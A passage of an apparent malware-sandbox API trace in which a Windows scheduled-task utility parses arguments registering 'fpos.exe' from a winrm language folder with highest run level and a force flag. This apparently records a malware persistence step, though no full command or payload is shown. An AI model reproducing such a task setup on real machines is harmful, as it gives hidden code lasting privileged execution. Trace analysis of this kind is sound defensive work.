0x3b0000 [0155.512] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x8) returned 0x3cdcb0 [0155.512] GetProcessHeap () returned 0x3b0000 [0155.512] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccc90 [0155.512] SetLastError (dwErrCode=0x0) [0155.512] SetLastError (dwErrCode=0x0) [0155.512] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0155.512] lstrlenW (lpString="-/") returned 2 [0155.512] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0155.512] SetLastError (dwErrCode=0x490) [0155.512] SetLastError (dwErrCode=0x490) [0155.512] SetLastError (dwErrCode=0x0) [0155.512] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0155.512] StrChrIW (lpStart="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'", wMatch=0x3a) returned=":\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'" [0155.512] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0155.512] GetProcessHeap () returned 0x3b0000 [0155.512] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cd500 [0155.512] _memicmp (_Buf1=0x3cd500, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.512] GetProcessHeap () returned 0x3b0000 [0155.512] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xe) returned 0x3cd520 [0155.512] GetProcessHeap () returned 0x3b0000 [0155.513] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cd540 [0155.513] _memicmp (_Buf1=0x3cd540, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.513] GetProcessHeap () returned 0x3b0000 [0155.513] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x56) returned 0x3cdcd0 [0155.513] SetLastError (dwErrCode=0x7a) [0155.513] SetLastError (dwErrCode=0x0) [0155.513] SetLastError (dwErrCode=0x0) [0155.513] lstrlenW (lpString="'C") returned 2 [0155.513] lstrlenW (lpString="-/") returned 2 [0155.513] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0155.513] SetLastError (dwErrCode=0x490) [0155.513] SetLastError (dwErrCode=0x490) [0155.513] SetLastError (dwErrCode=0x0) [0155.513] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0155.513] GetProcessHeap () returned 0x3b0000 [0155.513] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x54) returned 0x3cdd30 [0155.513] GetProcessHeap () returned 0x3b0000 [0155.513] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3cccc0 [0155.513] SetLastError (dwErrCode=0x0) [0155.513] SetLastError (dwErrCode=0x0) [0155.513] lstrlenW (lpString="/rl") returned 3 [0155.513] lstrlenW (lpString="-/") returned 2 [0155.513] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0155.513] lstrlenW (lpString="?") returned 1 [0155.513] lstrlenW (lpString="?") returned 1 [0155.513] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.513] lstrlenW (lpString="rl") returned 2 [0155.513] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.513] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|?|") returned 3 [0155.513] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|rl|") returned 4 [0155.513] lstrlenW (lpString="|?|") returned 3 [0155.513] lstrlenW (lpString="|rl|") returned 4 [0155.513] SetLastError (dwErrCode=0x490) [0155.514] lstrlenW (lpString="create") returned 6 [0155.514] lstrlenW (lpString="create") returned 6 [0155.514] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.514] lstrlenW (lpString="rl") returned 2 [0155.514] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.514] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|create|") returned 8 [0155.514] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|rl|") returned 4 [0155.514] lstrlenW (lpString="|create|") returned 8 [0155.514] lstrlenW (lpString="|rl|") returned 4 [0155.514] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0155.514] SetLastError (dwErrCode=0x490) [0155.514] lstrlenW (lpString="delete") returned 6 [0155.514] lstrlenW (lpString="delete") returned 6 [0155.514] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.514] lstrlenW (lpString="rl") returned 2 [0155.514] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.514] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|delete|") returned 8 [0155.514] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|rl|") returned 4 [0155.514] lstrlenW (lpString="|delete|") returned 8 [0155.514] lstrlenW (lpString="|rl|") returned 4 [0155.514] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0155.514] SetLastError (dwErrCode=0x490) [0155.514] lstrlenW (lpString="query") returned 5 [0155.514] lstrlenW (lpString="query") returned 5 [0155.514] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.514] lstrlenW (lpString="rl") returned 2 [0155.514] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.514] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|query|") returned 7 [0155.515] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|rl|") returned 4 [0155.515] lstrlenW (lpString="|query|") returned 7 [0155.515] lstrlenW (lpString="|rl|") returned 4 [0155.515] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0155.515] SetLastError (dwErrCode=0x490) [0155.515] lstrlenW (lpString="change") returned 6 [0155.515] lstrlenW (lpString="change") returned 6 [0155.515] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.515] lstrlenW (lpString="rl") returned 2 [0155.515] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.515] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|change|") returned 8 [0155.515] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|rl|") returned 4 [0155.515] lstrlenW (lpString="|change|") returned 8 [0155.515] lstrlenW (lpString="|rl|") returned 4 [0155.515] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0155.515] SetLastError (dwErrCode=0x490) [0155.515] lstrlenW (lpString="run") returned 3 [0155.515] lstrlenW (lpString="run") returned 3 [0155.515] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.515] lstrlenW (lpString="rl") returned 2 [0155.515] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.515] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|run|") returned 5 [0155.515] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|rl|") returned 4 [0155.515] lstrlenW (lpString="|run|") returned 5 [0155.515] lstrlenW (lpString="|rl|") returned 4 [0155.515] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0155.515] SetLastError (dwErrCode=0x490) [0155.515] lstrlenW (lpString="end") returned 3 [0155.515] lstrlenW (lpString="end") returned 3 [0155.515] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.516] lstrlenW (lpString="rl") returned 2 [0155.516] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.516] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|end|") returned 5 [0155.516] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|rl|") returned 4 [0155.516] lstrlenW (lpString="|end|") returned 5 [0155.516] lstrlenW (lpString="|rl|") returned 4 [0155.516] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0155.516] SetLastError (dwErrCode=0x490) [0155.516] lstrlenW (lpString="showsid") returned 7 [0155.516] lstrlenW (lpString="showsid") returned 7 [0155.516] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.516] lstrlenW (lpString="rl") returned 2 [0155.516] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.516] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|showsid|") returned 9 [0155.516] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|rl|") returned 4 [0155.516] lstrlenW (lpString="|showsid|") returned 9 [0155.516] lstrlenW (lpString="|rl|") returned 4 [0155.516] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0155.516] SetLastError (dwErrCode=0x490) [0155.516] SetLastError (dwErrCode=0x490) [0155.516] SetLastError (dwErrCode=0x0) [0155.516] lstrlenW (lpString="/rl") returned 3 [0155.516] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0155.516] SetLastError (dwErrCode=0x490) [0155.516] SetLastError (dwErrCode=0x0) [0155.516] lstrlenW (lpString="/rl") returned 3 [0155.516] GetProcessHeap () returned 0x3b0000 [0155.516] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x8) returned 0x3cdd90 [0155.516] GetProcessHeap () returned 0x3b0000 [0155.516] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3cccf0 [0155.516] SetLastError (dwErrCode=0x0) [0155.517] SetLastError (dwErrCode=0x0) [0155.517] lstrlenW (lpString="HIGHEST") returned 7 [0155.517] lstrlenW (lpString="-/") returned 2 [0155.517] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0155.517] SetLastError (dwErrCode=0x490) [0155.517] SetLastError (dwErrCode=0x490) [0155.517] SetLastError (dwErrCode=0x0) [0155.517] lstrlenW (lpString="HIGHEST") returned 7 [0155.517] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0155.517] SetLastError (dwErrCode=0x490) [0155.517] SetLastError (dwErrCode=0x0) [0155.517] lstrlenW (lpString="HIGHEST") returned 7 [0155.517] GetProcessHeap () returned 0x3b0000 [0155.517] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x10) returned 0x3cd560 [0155.517] GetProcessHeap () returned 0x3b0000 [0155.517] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccd20 [0155.517] SetLastError (dwErrCode=0x0) [0155.517] SetLastError (dwErrCode=0x0) [0155.517] lstrlenW (lpString="/f") returned 2 [0155.517] lstrlenW (lpString="-/") returned 2 [0155.517] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0155.517] lstrlenW (lpString="?") returned 1 [0155.517] lstrlenW (lpString="?") returned 1 [0155.517] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.517] lstrlenW (lpString="f") returned 1 [0155.517] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.517] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|?|") returned 3 [0155.517] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|f|") returned 3 [0155.517] lstrlenW (lpString="|?|") returned 3 [0155.517] lstrlenW (lpString="|f|") returned 3 [0155.517] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0155.517] SetLastError (dwErrCode=0x490) [0155.518] lstrlenW (lpString="create") returned 6 [0155.518] lstrlenW (lpString="create") returned 6 [0155.518] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.518] lstrlenW (lpString="f") returned 1 [0155.518] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.518] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|create|") returned 8 [0155.518] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|f|") returned 3 [0155.518] lstrlenW (lpString="|create|") returned 8 [0155.518] lstrlenW (lpString="|f|") returned 3 [0155.518] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0155.518] SetLastError (dwErrCode=0x490) [0155.518] lstrlenW (lpString="delete") returned 6 [0155.518] lstrlenW (lpString="delete") returned 6 [0155.518] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.518] lstrlenW (lpString="f") returned 1 [0155.518] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.518] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|delete|") returned 8 [0155.518] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|f|") returned 3 [0155.518] lstrlenW (lpString="|delete|") returned 8 [0155.518] lstrlenW (lpString="|f|") returned 3 [0155.518] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0155.518] SetLastError (dwErrCode=0x490) [0155.518] lstrlenW (lpString="query") returned 5 [0155.518] lstrlenW (lpString="query") returned 5 [0155.518] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.518] lstrlenW (lpString="f") returned 1 [0155.518] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.518] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|query|") returned 7 [0155.518] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|f|") returned 3 [0155.519] lstrlenW (lpString="|query|") returned 7 [0155.519] lstrlenW (lpString="|f|") returned 3 [0155.519] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0155.519] SetLastError (dwErrCode=0x490) [0155.519] lstrlenW (lpString="change") returned 6 [0155.519] lstrlenW (lpString="change") returned 6 [0155.519] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.519] lstrlenW (lpString="f") returned 1 [0155.519] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.519] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|change|") returned 8 [0155.519] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|f|") returned 3 [0155.519] lstrlenW (lpString="|change|") returned 8 [0155.519] lstrlenW (lpString="|f|") returned 3 [0155.519] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0155.519] SetLastError (dwErrCode=0x490) [0155.519] lstrlenW (lpString="run") returned 3 [0155.519] lstrlenW (lpString="run") returned 3 [0155.519] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.519] lstrlenW (lpString="f") returned 1 [0155.519] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.519] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|run|") returned 5 [0155.519] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|f|") returned 3 [0155.519] lstrlenW (lpString="|run|") returned 5 [0155.519] lstrlenW (lpString="|f|") returned 3 [0155.519] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0155.519] SetLastError (dwErrCode=0x490) [0155.519] lstrlenW (lpString="end") returned 3 [0155.519] lstrlenW (lpString="end") returned 3 [0155.519] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.520] lstrlenW (lpString="f") returned 1 [0155.520] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.520] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|end|") returned 5 [0155.520] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|f|") returned 3 [0155.520] lstrlenW (lpString="|end|") returned 5 [0155.520] lstrlenW (lpString="|f|") returned 3 [0155.520] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0155.520] SetLastError (dwErrCode=0x490) [0155.520] lstrlenW (lpString="showsid") returned 7 [0155.520] lstrlenW (lpString="showsid") returned 7 [0155.520] _memicmp (_Buf1=0x3cc1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.520] lstrlenW (lpString="f") returned 1 [0155.520] _memicmp (_Buf1=0x3cc1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0155.520] _vsnwprintf (in: _Buffer=0x3cc220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|showsid|") returned 9 [0155.520] _vsnwprintf (in: _Buffer=0x3cc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23f258 | out: _Buffer="|f|") returned 3 [0155.520] lstrlenW (lpString="|showsid|") returned 9 [0155.520] lstrlenW (lpString="|f|") returned 3 [0155.520] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0155.520] SetLastError (dwErrCode=0x490) [0155.520] SetLastError (dwErrCode=0x490) [0155.520] SetLastError (dwErrCode=0x0) [0155.520] lstrlenW (lpString="/f") returned 2 [0155.520] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0155.520] SetLastError (dwErrCode=0x490) [0155.520] SetLastError (dwErrCode=0x0) [0155.520] lstrlenW (lpString="/f") returned 2 [0155.520] GetProcessHeap () returned 0x3b0000 [0155.520] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x6) returned 0x3cddb0 [0155.520] GetProcessHeap () returned 0x3b0000 [0155.520] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccd50 [0155.520] SetLastError (dwErrCode=0x0) [0155.520] GetProcessHeap () returned 0x3b0000 [0155.521] GetProcessHeap () returned 0x3b0000 [0155.521] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc1c0) returned 1 [0155.521] GetProcessHeap () returned 0x3b0000 [0155.521] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc1c0) returned 0x8 [0155.521] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc1c0 | out: hHeap=0x3b0000) returned 1 [0155.521] GetProcessHeap () returned 0x3b0000 [0155.521] GetProcessHeap () returned 0x3b0000 [0155.521] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccbd0) returned 1 [0155.521] GetProcessHeap () returned 0x3b0000 [0155.521] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccbd0) returned 0x20 [0155.521] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccbd0 | out: hHeap=0x3b0000) returned 1 [0155.521] GetProcessHeap () returned 0x3b0000 [0155.521] GetProcessHeap () returned 0x3b0000 [0155.521] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd4c0) returned 1 [0155.521] GetProcessHeap () returned 0x3b0000 [0155.521] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd4c0) returned 0xa [0155.521] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd4c0 | out: hHeap=0x3b0000) returned 1 [0155.522] GetProcessHeap () returned 0x3b0000 [0155.522] GetProcessHeap () returned 0x3b0000 [0155.522] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc00) returned 1 [0155.522] GetProcessHeap () returned 0x3b0000 [0155.522] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccc00) returned 0x20 [0155.522] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc00 | out: hHeap=0x3b0000) returned 1 [0155.522] GetProcessHeap () returned 0x3b0000 [0155.522] GetProcessHeap () returned 0x3b0000 [0155.522] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cdc90) returned 1 [0155.522] GetProcessHeap () returned 0x3b0000 [0155.522] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cdc90) returned 0x8 [0155.522] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cdc90 | out: hHeap=0x3b0000) returned 1 [0155.522] GetProcessHeap () returned 0x3b0000 [0155.522] GetProcessHeap () returned 0x3b0000 [0155.522] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc30) returned 1 [0155.522] GetProcessHeap () returned 0x3b0000 [0155.522] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccc30) returned 0x20 [0155.523] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc30 | out: hHeap=0x3b0000) returned 1 [0155.523] GetProcessHeap () returned 0x3b0000 [0155.523] GetProcessHeap () returned 0x3b0000 [0155.523] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd4e0) returned 1 [0155.523] GetProcessHeap () returned 0x3b0000 [0155.523] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd4e0) returned 0x10 [0155.523] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd4e0 | out: hHeap=0x3b0000) returned 1 [0155.523] GetProcessHeap () returned 0x3b0000 [0155.523] GetProcessHeap () returned 0x3b0000 [0155.523] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc60) returned 1 [0155.523] GetProcessHeap () returned 0x3b0000 [0155.523] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccc60) returned 0x20 [0155.524] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc60 | out: hHeap=0x3b0000) returned 1 [0155.524] GetProcessHeap () returned 0x3b0000 [0155.524] GetProcessHeap () returned 0x3b0000 [0155.524] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cdcb0) returned 1 [0155.524] GetProcessHeap () returned 0x3b0000 [0155.524] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cdcb0) returned 0x8 [0155.524] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cdcb0 | out: hHeap=0x3b0000) returned 1 [0155.524] GetProcessHeap () returned 0x3b0000 [0155.524] GetProcessHeap () returned 0x3b0000 [0155.524] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc90) returned 1 [0155.524] GetProcessHeap () returned 0x3b0000 [0155.524] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccc90) returned 0x20 [0155.525] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccc90 | out: hHeap=0x3b0000) returned 1 [0155.525] GetProcessHeap () returned 0x3b0000 [0155.525] GetProcessHeap () returned 0x3b0000 [0155.525] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cdd30) returned 1 [0155.525] GetProcessHeap () returned 0x3b0000 [0155.525] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cdd30) returned 0x54 [0155.525] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cdd30 | out: hHeap=0x3b0000) returned 1 [0155.525] GetProcessHeap () returned 0x3b0000 [0155.525] GetProcessHeap () returned 0x3b0000 [0155.525] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cccc0) returned 1 [0155.526] GetProcessHeap () returned 0x3b0000 [0155.526] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cccc0) returned 0x20 [0155.526] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cccc0 | out: hHeap=0x3b0000) returned 1 [0155.526] GetProcessHeap () returned 0x3b0000 [0155.526] GetProcessHeap () returned 0x3b0000 [0155.526] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cdd90) returned 1 [0155.526] GetProcessHeap () returned 0x3b0000 [0155.526] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cdd90) returned 0x8 [0155.526] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cdd90 | out: hHeap=0x3b0000) returned 1 [0155.526] GetProcessHeap () returned 0x3b0000 [0155.526] GetProcessHeap () returned 0x3b0000 [0155.526] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cccf0) returned 1 [0155.526] GetProcessHeap () returned 0x3b0000 [0155.526] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cccf0) returned 0x20 [0155.527] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cccf0 | out: hHeap=0x3b0000) returned 1 [0155.533] GetProcessHeap () returned 0x3b0000 [0155.533] GetProcessHeap () returned 0x3b0000 [0155.533] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd560) returned 1 [0155.533] GetProcessHeap () returned 0x3b0000 [0155.533] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd560) returned 0x10 [0155.533] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd560 | out: hHeap=0x3b0000) returned 1 [0155.542] GetProcessHeap () returned 0x3b0000 [0155.542] GetProcessHeap () returned 0x3b0000 [0155.542] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd20) returned 1 [0155.542] GetProcessHeap () returned 0x3b0000 [0155.542] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccd20) returned 0x20 [0155.543] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd20 | out: hHeap=0x3b0000) returned 1 [0155.543] GetProcessHeap () returned 0x3b0000 [0155.543] GetProcessHeap () returned 0x3b0000 [0155.543] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cddb0) returned 1 [0155.543] GetProcessHeap () returned 0x3b0000 [0155.543] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cddb0) returned 0x6 [0155.543] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cddb0 | out: hHeap=0x3b0000) returned 1 [0155.543] GetProcessHeap () returned 0x3b0000 [0155.543] GetProcessHeap () returned 0x3b0000 [0155.543] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd50) returned 1 [0155.543] GetProcessHeap () returned 0x3b0000 [0155.543] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3ccd50) returned 0x20 [0155.544] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ccd50 | out: hHeap=0x3b0000) returned 1 [0155.544] GetProcessHeap () returned 0x3b0000 [0155.544] GetProcessHeap () returned 